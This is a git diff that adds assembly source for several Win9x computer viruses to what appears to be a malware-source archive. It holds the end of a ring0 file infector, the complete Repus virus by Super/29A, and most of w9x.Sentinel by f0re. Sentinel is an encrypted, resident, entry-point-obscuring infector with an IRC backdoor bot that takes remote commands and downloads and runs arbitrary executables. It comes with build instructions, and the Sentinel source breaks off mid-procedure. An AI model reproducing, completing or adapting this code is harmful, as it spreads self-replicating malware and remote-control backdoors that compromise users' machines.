+.DATA + ; dummy data + db 'WARNING - This is a virus carrier - WARNING' + +.CODE +inicio: + mov eax,VSIZE + +vBegin label byte + pushad + mov al,byte ptr [esp+23h] + sub esp,8 + mov ebp,esp + + cmp al,0bfh + jne NotWin9x + + sidt qword ptr [ebp] + mov esi,dword ptr [ebp+2] + add esi,3*8 + push esi + mov di,word ptr [esi+6] + shl edi,10h + mov di,word ptr [esi] + push edi + call @delta +@deltaoffset: +cpright db 'Bbbee/29a@Noise' +@delta: + pop eax + sub eax,(offset @deltaoffset-offset ring0CodeInstaller) + mov word ptr [esi],ax + shr eax,10h + mov word ptr [esi+6],ax + int 3h + + pop edi + pop esi + mov word ptr [esi],di + shr edi,10h + mov word ptr [esi+6],di + +NotWin9x: + add esp,8 + popad + + push offset fakeHost +hostEP equ $-4 + ret + +ring0CodeInstaller: + pushad + + mov ebp,0bff70000h + sub ebp,dword ptr [ebp] + jz ReturnR3 + + push VSIZEROUND + VxDCall IFSMANAGER,GETHEAP + pop edi + or eax,eax + jz ReturnR3 + + mov edi,eax + call @@delta +@@delta: + pop esi + sub esi,(offset @@delta-offset vBegin) + mov ecx,VSIZE + rep movsb + + mov dword ptr [delta-vBegin+eax],eax + + push eax + add eax,offset ring0Hook-offset vBegin + push eax + VxDCall IFSMANAGER,IFSAPIHOOK + pop ebp + pop edx + mov dword ptr [edx+nextHookInChain-vBegin],eax + + mov ebp,0bff70000h + mov dword ptr [ebp],ebp + +ReturnR3: + popad + iretd + +ring0Hook: + pop eax + push ebp + mov ebp,12345678h +delta equ $-4 + mov dword ptr [returnAddr-vBegin+ebp],eax + push edx + mov edx,esp + + pushad + pushfd + + mov ecx,0ffh +counter equ $-4 + dec cl + jz beep + + mov ecx,dword ptr [edx+0ch] + dec ecx + jz checkFile + +exitHook: + popfd + popad + pop edx + pop ebp + + mov eax,12345678h +nextHookInChain equ $-4 + call dword ptr [eax] + + push 12345678h +returnAddr equ $-4 + ret + +checkFile: + mov esi,dword ptr [edx+1ch] + + mov cx,word ptr [esi] + cmp ecx,VSIZEROUND + jb exitHook + + mov edi,dword ptr [esi+14h] + + mov ebx,edi + cmp word ptr [edi],'ZM' + jne exitHook + cmp ecx,dword ptr [edi+3ch] + jb exitHook + add edi,dword ptr [edi+3ch] + cmp word ptr [edi],'EP' + jne exitHook + + mov edx,dword ptr [edi+16h] + test edx,2h + jz exitHook + and edx,2000h + jnz exitHook + mov dx,word ptr [edi+5ch] + dec edx + jz exitHook + + mov esi,edi + mov eax,18h + add ax,word ptr [edi+14h] + add edi,eax + + movzx ecx,word ptr [esi+06h] + mov ax,28h + mul cx + add edi,eax + + mov ecx,VSIZE + xor eax,eax + pushad + rep scasb + popad + jnz exitHook + + add dword ptr [esi+54h],ecx + + push edi + sub edi,ebx + xchg edi,dword ptr [esi+28h] + mov eax,dword ptr [esi+34h] + add edi,eax + mov dword ptr [hostEP-vBegin+ebp],edi + pop edi + + mov esi,ebp + rep movsb + + dec byte ptr [counter-vBegin+ebp] + + jmp exitHook + +beep: + dec cl + in al,61h + push ax + or al,03h + out 61h,al + + mov al,0b6h + out 43h,al + mov ax,987 + mov si,ax +beep_loop: + add si,100h + mov ax,si + out 42h,al + xchg al,ah + out 42h,al + loop beep_loop + + pop ax + out 61h,al + jmp exitHook + +vEnd label byte + +fakeHost: + push 0h + call ExitProcess +Ends +End inicio diff --git a/LegacyWindows/Win9x.Repus.asm b/LegacyWindows/Win9x.Repus.asm new file mode 100644 index 00000000..b2cfd883 --- /dev/null +++ b/LegacyWindows/Win9x.Repus.asm @@ -0,0 +1,212 @@ + +;=============; +; Repus virus ; +;=============; + +;Coded by Super/29A + +;VirusSize = 128 bytes !!! + + +;This is the third member of the Repus family + + +;-When an infected file is executed the virus patches IRQ0 handler and waits +; for it to return control to virus in ring0 +;-Once in ring0, the virus searches in all caches a valid MZheader to infect, +; modifying EntryPoint (in PEheader) so virus can get control on execution +;-It will infect no more than one MZheader at a time per file system +;-MZheader will be overwritten, however windows executes it with no problems +; (tested under win95,win98,winNT and Win2K) +;-When executing a non infected file that imports APIs from an infected DLL, +; virus will get control on DLL inicialization and infect more MZheaders + + +;------------------------------------------------------------------- + + .386p + .model flat,STDCALL + + extrn ExitProcess : near + extrn MessageBoxA : near + +;------------------------------------------------------------------- + +VirusSize = (VirusEnd - VirusStart) + +VCache_Enum macro + int 20h + dw 0009h + dw 048Bh +endm + +;------------------------------------------------------------------- + +.data + +Title: + db 'Super/29A presents...',0 + +Text: + db 'Repus.' + db '0' + (VirusSize/100) mod 10 + db '0' + (VirusSize/10) mod 10 + db '0' + (VirusSize/1) mod 10 + db 0 + +;------------------------------------------------------------------- + + +.code + +;=================================================================== + +VirusStart: + + db 'M' ; dec ebp + +VirusEntryPoint: + + db 'Z' ; pop edx + + push edx + dec edx + jns JumpHost ; exit if we are running winNT + + mov ebx,0C0001100h ; IRQ0 ring0 handler + + mov dl,0C3h + + xchg dl,[ebx] ; hook IRQ0 to get ring0 + +Wait_IRQ0: + + cmp esp,edx + jb Wait_IRQ0 + + +;Now we are in ring0 + + + xchg dl,[ebx] + + lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine + + fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic call + +Next_FSD: + + VCache_Enum ; enumerate all caches + + inc ah + jnz Next_FSD ; try next file system + + call ebx ; return control to IRQ0 and return just after the CALL + + +;Now we are in ring3 + + +JumpHost: + + jmp HostEntryPoint ; return control to host + +;------------------------------------------------------------------- + +InfectCache: + + xor dl,dl ; EDX = ImageBase + + mov edi,[esi+10h] ; EDI = MZheader + + movzx ecx,byte ptr [edi+3Ch] + + cmp byte ptr [edi+ecx],'P' ; check for PEheader + jnz _ret + +Offset3B: + + and eax,00000080h ; EAX = 0 + + xchg esi,edx ; ESI = ImageBase + ; EDX = Cache Block Structure + + cmpsb ; check for MZheader + jnz _ret + + mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader + + fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic call + + inc eax ; EAX = 1 + + xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint + + sub eax,(JumpHost+5-VirusStart) + + jb _ret ; jump if its already infected + + mov cl,(VirusSize-1) + + rep movsb ; copy virus to MZheader + + mov [edi+(JumpHost+1-VirusEnd)],eax ; fix jump to host + + +;Here we are gonna find the pointer to the pending cache writes + + + mov ch,2 + lea eax,[ecx-0Ch] ; EAX=1F4h ;-D + mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer) + repnz scasd + jnz _ret ; not found :-( + + ; EDI = offset in VRP which contains PendingList pointer + + cmp [edi],ecx ; check if there are other pending cache writes + ja _ret + + cmp [edi+30h],ah ; only infect logical drives C,D,... + jbe _ret + + +;Now we are gonna insert this cache in the pending cache writes + + + or byte ptr [edx+32h],ah ; set dirty bit + + mov [edx+1Ch],edx ; set PendingList->Next + mov [edx+20h],edx ; set PendingList->Previous + + mov [edi],edx ; set PendingList pointer + +_ret: + + ret + + db '29A' + +VirusEnd: + +;=================================================================== + + db 1000h dup(90h) + +HostEntryPoint proc near + + push 0 + push offset Title + push offset Text + push 0 + call MessageBoxA + + push 0 + call ExitProcess + +HostEntryPoint endp + +;=================================================================== + +ends +end VirusEntryPoint diff --git a/LegacyWindows/Win9x.Sentinel.asm b/LegacyWindows/Win9x.Sentinel.asm new file mode 100644 index 00000000..2b721c19 --- /dev/null +++ b/LegacyWindows/Win9x.Sentinel.asm @@ -0,0 +1,2690 @@ + +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[SENTINEL.ASM]ΔΔΔ +;........................................................................; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; w9x.Sentinel 1.1 (c)oded 2000 by f0re +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; +; Abstract +; -------- +; This is the sourcecode of my first resident w32 virus. It uses advanced +; EPO (entry point obscuring) and has backdoor capabilities via IRC. +; +; +; Virus Specification +; ------------------- +; When an infected file is executed the decryptor receives control and +; decrypts the virus with the decryption key on the stack (see EPO +; specification). Next the virus goes resident by using the vxdcall0 +; backdoor and hooks the CreateProcess api by modifying its address in the +; kernel32.dll export table in memory. +; +; When a new process is created the virus routine receives control and, if +; not already present, launches a new thread in which an IRC bot may be +; started (see IRC-BOT specification). Next it will try to infect the +; executed file. +; +; The infection procedure consists globally of the following steps. First +; it will search for a cavity in the file's code section and if one is +; found, it laces there the JumpVirus routine (see EPO specification). +; Second it will search for the nth call or jmp opcode in the code section +; to replace it with a call to this routine (again see EPO specification). +; Third it will copy the decryptor to the end of the file. Fourth it +; encrypts and copies the other portion of the virus to the file. The +; encryption key that is used is the offset of the returnaddress of the +; patched api call/jmp. Finally, after the file is infected, the original +; CreateProcess api code is executed. +; +; +; EPO specification +; --------------------- +; As already described, during infection the nth api call or (indirect) +; api jmp opcode in the code section of the file is replaced by a call +; to the JumpVirus routine (n is a random number). This routine was placed +; in a cavity somewhere in the code section. The JumpVirus routine holds +; the following 14 bytes of code: +; +; JumpVirusCode: +; xxxx = virtual address of JumpToVirusEntryPoint +; JumpToVirusEntryPoint: +; mov eax, [esp] +; add eax, delta +; jmp eax +; +; From the stack this routine takes the return address from the call. Next +; a precalculated number, called delta, (calculated during infection) is +; added which gives the virtual address of the virus entrypoint. After +; jumping to the virusdecryptor code the decryption key is taken from the +; stack (this is the return address from the call) and the viruscode can +; be decrypted. +; +; For a virusscanner it is now much harder to decrypt the virus; it first +; needs to find the return address of the api call or the address of the +; cavity and the size of the virus or both to be able to decrypt the +; virus. +; +; +; IRC BOT specification +; --------------------- +; When the IRC routine is launched, it will try to find an internet +; connection and if one is found, it launches an IRC BOT, ***a sentinel*** +; which goes to undernet #sntnl. There it will sit and wait for remote +; commands. The nickname of a sentinel consists of a randomly chosen name +; from a list of names followed by two random numbers. In the rest of +; this text the name of a sentinel is indicated by xxx. A sentinel can +; understand a number of commands which can be send to a sentinel +; privately or to all sentinels at once by sending the message to the +; channel. The following messages are understood: +; +; * all IRC commands, send with the following stucture: +; +; /msg xxx pass / +; +; so for example: /msg xxx pass /privmsg #sntnl :hello there +; +; * the installer-command, send with the following structure: +; +; /msg xxx pass /ex3c [] [] +; +; where = ip-number of server where executable should +; be downloaded. +; +; where = the exact command according to the HTTP +; protocol to retrieve the file. +; +; So the command may for example look like: +; +; /msg xxx pass /ex3c [123.45.67.89] [GET /filename.exe HTTP/1.0] +; +; If a sentinel receives this command it will download the +; specified file. Only when the it has succesfully received the +; entire file it will execute the file. +; +; * the status-command, send with the following structure: +; +; /msg xxx pass /st4t +; +; If a sentinel receives this command, it will show the status of +; the installer. Five different statuses are possible: +; +; Waiting/Unable to connect/Installing/Size error/Done +; +; * the quit-command, send with the following structure: +; +; /msg xxx pass /qu1t +; +; * the nick-command, send with the following structure: +; +; /msg xxx pass /n1ck +; +; This commands tells a sentinel to change its nick into a random +; 5 character long name. +; +; +; To Compile +; ---------- +; tasm32 sentinel.asm /m /ml +; tlink32 -aa sentinel.obj lib\import32.lib +; +; +; Greetz +; ------ +; Greetz go to (in random order): Blackjack, Darkman, MrSandman, Mdrg, +; Prizzy, Benny, rgo32, Asmod, Lord Julus, Spanska, DrOwlFS, Bumblebee, +; VirusBuster, LifeWire, Gbyte, r-, veedee, spo0ky, t00fic and last but +; not least all the other people from #virus/#vxers. +; +; +;""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""; + +.386 +.model flat, stdcall + +locals +jumps + extrn ExitProcess:PROC + + include inc\myinc.inc + include inc\wsocks.inc + +.data + + FirstCopy: + jmp RealStart + + Start: + mov eax, dword ptr [esp] ; decryption key + pushad + call GetCurrentOffset + + GetCurrentOffset: + pop esi + add esi, (RealStart - GetCurrentOffset) + mov ecx, ((Leap - RealStart)/4 + 1) ; size to decrypt + + DecryptVirus: + xor dword ptr [esi], eax ; decryption routine + add esi, 04h + loop DecryptVirus + + DecryptionDone: + popad + + RealStart: + push ebp + call GetDeltaOffset + + GetDeltaOffset: + pop ebp + sub ebp, offset GetDeltaOffset + + SetSEH: + lea eax, [ebp + ErrorHandler] ; set new SEH handler + push eax + push dword ptr fs:[0] ; save old SEH handler + mov dword ptr fs:[0], esp ; initiate SEH frame + + CheckWindowsVersion: + mov eax, [ebp + kernel32address] + cmp word ptr [eax], 'ZM' + jne ErrorHandler + add eax, [eax + 3ch] + cmp word ptr [eax], 'EP' + jne ErrorHandler + + RestoreSEH: + pop dword ptr fs:[0] ; restore old SEH + add esp, 4 ; handler + jmp MainRoutines + + ErrorHandler: + mov esp, [esp + 8] + pop dword ptr fs:[0] + add esp, 4 + jmp CheckEpoType + + MainRoutines: + pushad + call FIND_GETPROCADDRESS_API_ADDRESS + call FIND_VXDCALL0_ADDRESS + call FIND_USER32_BASE_ADDRESS + call GO_RESIDENT + popad + + CheckEpoType: + cmp [ebp + epo_opcode], 15FFh + jne EpoJmpExit + + EpoCallExit: + mov eax, [ebp + epo_awaa_va] ; [eax]-> va original jmp + pop ebp + jmp [eax] + + EpoJmpExit: + mov eax, [ebp + epo_awaa_va] ; [eax]-> va original jmp + mov [esp + 4], eax + pop ebp + pop eax + jmp [eax] + +;==============================[ includes ]==============================; + + + hookstruct db 20d dup(0) + zip db "zip",0 + delta dd 00h + cs_rawsize dd 00h + cavity_va dd 00h + + page_mem_size equ ((Leap-Start) + 0fffh)/1000h + resaddress dd 0 + kernel32address dd 0bff70000h + user32address dd 0 + wsock32address dd 0 + imagehlpaddress dd 0 + + cp_oldapicodeaddress dd 0 + cp_newapicodeaddress dd 0 + cp_oldapicode db 06h dup(0) + cp_newapicode db 06h dup(0) + + k32 db "KERNEL32.dll",0 + user32 db "USER32.dll",0 + imagehlp db "IMAGEHLP.dll",0 + + numberofnames dd 0 + addressoffunctions dd 0 + addressofnames dd 0 + addressofordinals dd 0 + AONindex dd 0 + + AGetProcAddress db "GetProcAddress", 0 + AGetProcAddressA dd 0 + AMessageBox db "MessageBoxA",0 + AMessageBeep db "MessageBeep",0 + AGetSystemTime db "GetSystemTime",0 + AFindFirstFile db "FindFirstFileA",0 + ACreateFile db "CreateFileA",0 + ASetCurrentDirectory db "SetCurrentDirectoryA",0 + ASetFileAttributes db "SetFileAttributesA",0 + AGetFileAttributes db "GetFileAttributesA",0 + ACreateFileMapping db "CreateFileMappingA",0 + AMapViewOfFile db "MapViewOfFile",0 + AUnmapViewOfFile db "UnmapViewOfFile",0 + ACloseHandle db "CloseHandle",0 + ASetFilePointer db "SetFilePointer",0 + ASetEndOfFile db "SetEndOfFile",0 + AGetModuleHandle db "GetModuleHandleA",0 + ASetFileTime db "SetFileTime",0 + ALoadLibrary db "LoadLibraryA",0 + AGetSystemDirectory db "GetSystemDirectoryA",0 + AGetWindowsDirectory db "GetWindowsDirectoryA",0 + AGetFileSize db "GetFileSize",0 + AGetCurrentDirectory db "GetCurrentDirectoryA",0 + AVxdcall0A dd 0 + ACheckSumMappedFile db "CheckSumMappedFile",0 + + filenamebuffer db 100h dup(0) + + maphandle dd 0 + mapaddress dd 0 + memory dd 0 + imagebase dd 0 + imagesize dd 0 + filealign dd 0 + sectionalign dd 0 + filehandle dd 0 + filesize dd 0 + PEheader dd 0 + ip_original dd offset OriginalHost + + windowtitle db "W9x.Sentinel", 0 + msgtxt db "Observing the world f0revir", 0 + + myseh SEH <> + myfinddata WIN32_FIND_DATA <> + rva2raw dd 0 + debug db 01 + + epo_newip dd 0 + epo_cs_rva dd 0 + epo_cs_pa dd 0 + epo_ipnew_va dd 0 + epo_ipnew_rva dd 0 + epo_opcode dw 15ffh + epo_aoc_pa dd 0 + epo_awaa_va dd offset ip_original + + string db "ZZZZZZZZ", 0 + ascvalues db "0123456789ABCDEF", 0 + +FIND_GETPROCADDRESS_API_ADDRESS proc + + LoadExportTableData: + mov edi, [ebp + kernel32address] ; get exporttable + add edi, [edi + 3ch] ; address from + mov esi, [edi + 78h] ; kernel's PE header + add esi, [ebp + kernel32address] + + mov eax, dword ptr [esi + 18h] + mov [ebp + numberofnames], eax ; save number of names + + mov eax, dword ptr [esi + 1Ch] ; get ra of table with + add eax, [ebp + kernel32address] ; pointers to funtion + mov [ebp + addressoffunctions], eax ; addresses + + mov eax, dword ptr [esi + 20h] ; get ra of table with + add eax, [ebp + kernel32address] ; pointers to names + mov [ebp + addressofnames], eax ; of functions + + mov eax, dword ptr [esi + 24h] ; get ra of table with + add eax, [ebp + kernel32address] ; pointers to ordinals + mov [ebp + addressofordinals], eax ; of functions + + BeginProcAddressSearch: + mov esi, [ebp + addressofnames] ; search for GetProc + mov [ebp + AONindex], esi ; Address API in names + mov edi, [esi] ; table + add edi, [ebp + kernel32address] + xor ecx, ecx + lea ebx, [ebp + AGetProcAddress] + + TryAgain: + mov esi, ebx + + MatchByte: + cmpsb + jne NextOne + cmp byte ptr [esi], 0 ; did the entire string + je GotIt ; match ? + jmp MatchByte + + NextOne: + inc cx + add dword ptr [ebp + AONindex], 4 ; get next namepointer + mov esi, [ebp + AONindex] ; in table (4 dwords) + mov edi, [esi] + add edi, [ebp + kernel32address] ; align with kernelbase + jmp TryAgain + + GotIt: + shl ecx, 1 + mov esi, [ebp + addressofordinals] ; ordinal = nameindex * + add esi, ecx ; size of ordinal entry + xor eax, eax ; + ordinal table base + mov ax, word ptr [esi] + shl eax, 2 ; address of function = + mov esi, [ebp + addressoffunctions] ; ordinal * size of + add esi, eax ; entry of address + mov edi, dword ptr [esi] ; table + base of + add edi, [ebp + kernel32address] ; addresstable + mov [ebp + AGetProcAddressA], edi ; save GPA address + ret + +FIND_GETPROCADDRESS_API_ADDRESS endp + +FIND_VXDCALL0_ADDRESS proc + + FindStartOfKernelExportSection: + mov esi, [ebp + kernel32address] + add esi, dword ptr [esi + 3ch] + mov edi, dword ptr [esi + 78h] ; virtual address of kernel32 + add edi, [ebp + kernel32address] ; export section + + GetVXDCallAddress: + mov esi, dword ptr [edi + 1Ch] ; get ra of table with + add esi, [ebp + kernel32address] ; pointers to funtion addresses + mov eax, dword ptr [esi] + add eax, [ebp + kernel32address] + mov [ebp + AVxdcall0A], eax + ret + +FIND_VXDCALL0_ADDRESS endp + +GETAPI proc + + push eax + push dword ptr [ebp + kernel32address] ; load kernelbase + call [ebp + AGetProcAddressA] ; and get api address + jmp eax ; call the api + ret ; return + +GETAPI endp + +GETUAPI proc + + push eax + push dword ptr [ebp + user32address] ; load user32base + call [ebp + AGetProcAddressA] ; and get api address + jmp eax + ret + +GETUAPI endp + +GETWAPI proc + + push eax + push dword ptr [ebp + wsock32address] ; load wsockbase + call [ebp + AGetProcAddressA] ; and get api address + jmp eax + ret + +GETWAPI endp + +GETIAPI proc + + push eax + push dword ptr [ebp + imagehlpaddress] + call [ebp + AGetProcAddressA] + jmp eax + ret + +GETIAPI endp + +GO_RESIDENT proc + + CheckResidency: + mov eax, [ebp + kernel32address] + add eax, 400h + cmp dword ptr [eax], 'er0f' + je MemoryError ; already resident + + PageReserve: + push 00020000h or 00040000h + push page_mem_size + push 80060000h + push 00010000h + call dword ptr [ebp + AVxdcall0A] + cmp eax, 0FFFFFFFh + je MemoryError + mov [ebp + resaddress], eax + + CalculateVirusVirtualAddress: + mov ecx, offset InterceptCP - Start + add ecx, eax + mov [ebp + cp_newapicodeaddress], ecx + + PageCommit: + push 00020000h or 00040000h or 80000000h or 00000008h + push 00000000h + push 00000001h + push page_mem_size + shr eax, 12 + push eax + push 00010001h + call dword ptr [ebp + AVxdcall0A] + or eax, eax + je MemoryError + + ; IN: hookstruct: + ; 00 : offset api name + ; 04 : old apicodeaddress + ; 08 ; offset for old apicode + ; 12 ; offset for new apicode + ; 16 : new apicodeaddress + + lea eax, [ebp + hookstruct] + lea ebx, [ebp + ACreateProcess] + mov dword ptr [eax], ebx + lea ebx, [ebp + cp_oldapicodeaddress] + mov dword ptr [eax + 4], ebx + lea ebx, [ebp + cp_oldapicode] + mov dword ptr [eax + 8], ebx + lea ebx, [ebp + cp_newapicode] + mov dword ptr [eax + 12], ebx + lea ebx, [ebp + cp_newapicodeaddress] + mov dword ptr [eax + 16], ebx + call HOOK_API + + CopyVirusToMemory: + cld + lea esi, [ebp + Start] + mov edi, [ebp + resaddress] + mov ecx, Leap-Start + rep movsb + + SetResidentFlag: + mov eax, [ebp + kernel32address] + add eax, 400h + shr eax, 12d + + ModifyPagePermissions2: + push 20060000h + push 00000000h + push 00000001h + push eax + push 0001000dh + call dword ptr [ebp + AVxdcall0A] + cmp eax, 0FFFFFFFh + je MemoryError + + mov eax, [ebp + kernel32address] + add eax, 400h + mov dword ptr [eax], 'er0f' + + MemoryError: + ret + +GO_RESIDENT endp + +INFECT_FILE proc + + SetFileAttributesToNormal: + push 80h + lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename + push esi + lea eax, [ebp + ASetFileAttributes] + call GETAPI + + OpenFile: + push 0 ; template handle=0 + push 20h ; attributes=any file + push 3 ; type= existing file + push 0 ; security option = 0 + push 1 ; shared for read + push 80000000h or 40000000h ; generic read write + lea esi, [ebp + filenamebuffer] + push esi ; offset file name + lea eax, [ebp + ACreateFile] + call GETAPI + + cmp eax, 0FFFFFFFFh + je InfectionError + mov [ebp + filehandle], eax + +;-------------------------------[ map file ]---------------------------------; + + CreateFileMapping: ; allocates the memory + push 0 ; filename handle = 0 + push [ebp + memory] ; max size = memory + push 0 ; minumum size = 0 + push 4 ; read / write access + push 0 ; sec. attrbs= default + push [ebp + filehandle] + lea eax, [ebp + ACreateFileMapping] + call GETAPI ; eax = new map handle + + mov [ebp + maphandle], eax + or eax, eax + jz CloseFile + + MapViewOfFile: + push [ebp + memory] ; memory to map + push 0 ; file offset + push 0 ; file offset + push 2 ; file map write mode + push eax ; file map handle + lea eax, [ebp + AMapViewOfFile] ; ok map the file + call GETAPI + or eax, eax + jz CloseMap + mov [ebp + mapaddress], eax ; save that base + + CheckForMZMark: + cmp word ptr [eax], 'ZM' ; an exe file? + jne UnmapView + + CheckInfectionMark: + cmp word ptr [eax + 38h], 'll' ; already infected? + je UnmapView + + NotYetInfected: + mov esi, dword ptr [eax + 3ch] + cmp esi, 200h + ja UnmapView + add esi, eax + cmp dword ptr [esi], 'EP' ; is it a PE file ? + jne UnmapView + mov [ebp + PEheader], esi ; save va PE header + mov eax, [esi + 28h] + mov [ebp + ip_original], eax ; save original ip + mov eax, [esi + 34h] + mov [ebp + imagebase], eax ; save imagebase + +;------------------------------[ append section ]----------------------------; + + CheckForEPO: + pushad + mov [ebp + epo_opcode], 15FFh ; search for call opcode + call CREATE_EPO + or eax, eax + jnz LocateBeginOfLastSection + mov [ebp + epo_opcode], 25FFh + call CREATE_EPO + or eax, eax + jnz LocateBeginOfLastSection + popad + jmp UnmapView + + LocateBeginOfLastSection: + popad + movzx ebx, word ptr [esi + 20d] ; optional header size + add ebx, 24d ; file header size + movzx eax, word ptr [esi + 6h] ; no of sections + dec eax ; (we want the last-1 + mov ecx, 28h ; sectionheader) + mul ecx ; * header size + add esi, ebx ; esi = begin of last + add esi, eax ; section's header + + CheckForOverLays: + mov eax, [esi + 10h] ; section phys size + add eax, [esi + 14h] ; section phys offset + mov ecx, [ebp + PEheader] + mov ecx, [ecx + 38h] + div ecx + inc eax + mul ecx + mov ecx, [ebp + filesize] + cmp ecx, eax + ja UnmapView ; we dont infect those + mov ecx, 08h + + CheckForZipSFX: + lea edi, [ebp + zip] + push ecx + push esi + mov ecx, 03h + rep cmpsb + pop esi + pop ecx + je UnmapView + inc esi + loop CheckForZipSFX + + ChangeLastSectionHeaderProperties: + sub esi, 08h + or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h + + NewAlignedPhysicalSize: + mov eax, [esi + 8h] ; old virt size + add eax, Leap-Start + mov ecx, [ebp + PEheader] + mov ecx, [ecx + 3ch] + div ecx ; and align it to + inc eax ; the filealign + mul ecx + mov [esi + 10h], eax ; save it + + NewAlignedVirtualSize: + mov eax, [esi + 8h] ; get old + push eax ; store it + add eax, Leap-Start + mov ecx, [ebp + PEheader] + mov ecx, [ecx + 38h] + div ecx ; and align it to + inc eax ; the sectionalign + mul ecx + mov [esi + 8h], eax ; save new value + + NewAlignedImageSize: + mov eax, dword ptr [esi + 0ch] ; get virtual offset + add eax, dword ptr [esi + 8h] ; + new virtual size + mov [ebp + imagesize], eax ; = new imagesize + + NewAlignedFileSize: + mov eax, dword ptr [esi + 10h] ; get new phys size + add eax, dword ptr [esi + 14h] ; add offset of phys + mov [ebp + filesize], eax ; size = filesize + + CalculateNewIp: + pop eax + push eax + add eax, dword ptr [esi + 0ch] ; + virtual offset + mov [ebp + epo_ipnew_rva], eax ; new ip + + CreateEpoIp: + add eax, [ebp + imagebase] + mov [ebp + epo_ipnew_va], eax + + CalculateEncryptionKey: + mov ebx, [ebp + epo_aoc_pa] + sub ebx, [ebp + epo_cs_pa] + add ebx, [ebp + epo_cs_rva] + add ebx, 04h ; ebx-> original return address + add ebx, [ebp + imagebase] ; after call = encryption key + + CalculateDelta: + mov eax, [ebp + epo_ipnew_va] + sub eax, ebx + mov [ebp + delta], eax + + CopyVirusDecryptorToEndOfFile: + pop eax + mov edi, eax ; virtual size + add edi, [ebp + mapaddress] ; mapaddress + add edi, [esi + 14h] ; add raw data offset + lea esi, [ebp + Start] ; copy virus + mov ecx, (RealStart - Start) + rep movsb + + PrepareToEncryptAndCopy: + mov ecx, ((Leap-RealStart)/4 + 1) + cld + + EncryptAndCopyVirus: + movsd + sub edi, 04h + xor dword ptr [edi], ebx + add edi, 04h + loop EncryptAndCopyVirus + + SearchForCavity: + mov esi, [ebp + epo_cs_pa] + mov ecx, [ebp + cs_rawsize] + call CAVITYSEARCH + or esi, esi + jz UpdatePEHeaderWithChanges + mov eax, esi + sub eax, [ebp + epo_cs_pa] + add eax, [ebp + epo_cs_rva] + add eax, [ebp + imagebase] + mov [ebp + cavity_va], eax + + WriteVirusJumpIntoCavity: + add eax, 04h + mov dword ptr [esi], eax + add esi, 04h + mov dword ptr [esi], 0524048Bh + add esi, 04h + mov eax, [ebp + delta] + mov dword ptr [esi], eax + add esi, 04h + mov word ptr [esi], 0E0FFh + + SetEpo: + mov eax, [ebp + cavity_va] + mov edx, [ebp + epo_aoc_pa] + mov dword ptr [edx], eax + sub edx, 02h + mov word ptr [edx], 15FFh ; turn jmp into call + + UpdatePEHeaderWithChanges: + mov esi, [ebp + mapaddress] + mov word ptr [esi + 38h], 'll' ; set infectionmark + mov esi, [ebp + PEheader] + mov eax, [ebp + imagesize] + mov [esi + 50h], eax ; set new imagesize + + CalculateNewCheckSum: + cmp dword ptr [esi + 58h], 00h + je UnmapView + + LoadImageHlpDll: + lea eax, [ebp + imagehlp] + push eax + lea eax, [ebp + ALoadLibrary] + call GETAPI + or eax, eax + jz UnmapView + mov [ebp + imagehlpaddress], eax + + CalculateNewChecksum: + mov esi, [ebp + PEheader] + push dword ptr [esi + 58h] + lea eax, [ebp + buffer] + push eax + push dword ptr [ebp + filesize] + push dword ptr [ebp + mapaddress] + lea eax, [ebp + ACheckSumMappedFile] + call GETIAPI + +;--------------------------------[ unmap file ]------------------------------; + + UnmapView: + push dword ptr [ebp + mapaddress] + lea eax, [ebp + AUnmapViewOfFile] + call GETAPI + + CloseMap: + push dword ptr [ebp + maphandle] + lea eax, [ebp + ACloseHandle] + call GETAPI + + push 0 ; set file pointer to + push 0 ; beginning + filesize + push [ebp + filesize] ; = end of file + push [ebp + filehandle] + lea eax, [ebp + ASetFilePointer] + call GETAPI + + push [ebp + filehandle] ; set EOF equal to current + lea eax, [ebp + ASetEndOfFile] ; filepointer position + call GETAPI + +;--------------------------------[ close file ]------------------------------; + + CloseFile: + push dword ptr [ebp + myfinddata.fd_ftLastWriteTime] + push dword ptr [ebp + myfinddata.fd_ftLastAccessTime] + push dword ptr [ebp + myfinddata.fd_ftCreationTime] + push dword ptr [ebp + filehandle] + lea eax, [ebp + ASetFileTime] + call GETAPI + + push [ebp + filehandle] + lea eax, [ebp + ACloseHandle] + call GETAPI + + InfectionError: + push dword ptr [ebp + myfinddata.fd_dwFileAttributes] + lea eax, [ebp + myfinddata.fd_cFileName] + push eax + lea eax, [ebp + ASetFileAttributes] + call GETAPI + ret + +INFECT_FILE endp + +RESIDENT_CP proc + + InterceptCP: + pushad + call GetApiDelta + + GetApiDelta: + pop ebp + sub ebp, offset GetApiDelta + call FIND_GETPROCADDRESS_API_ADDRESS + call FIND_USER32_BASE_ADDRESS + call RESIDENT_CP2 + call IRC_LAUNCH + popad + + GetNewDelta: + call NewDelta + + NewDelta: + pop eax + sub eax, offset NewDelta + + RestoreApiCode: + pushad + mov edi, [eax + cp_oldapicodeaddress] + lea esi, [eax + cp_oldapicode] + mov ecx, 06h + rep movsb + popad + + pop [eax + returnaddress] + call dword ptr [eax + cp_oldapicodeaddress] + + ReHookApi: + pushad + call GetNewDelta2 + + GetNewDelta2: + pop ebp + sub ebp, offset GetNewDelta2 + + mov edi, [ebp + cp_oldapicodeaddress] + lea esi, [ebp + cp_newapicode] + mov ecx, 06h + rep movsb + popad + + ReturnToOriginalCaller: + db 68h + returnaddress dd 0 + ret + +RESIDENT_CP endp + +RESIDENT_CP2 proc + + CheckForEmptyCommandLine: + mov esi, dword ptr [esp + 2ch] + or esi, esi + jz Continue + + ExtractFileName: + xor ecx, ecx + 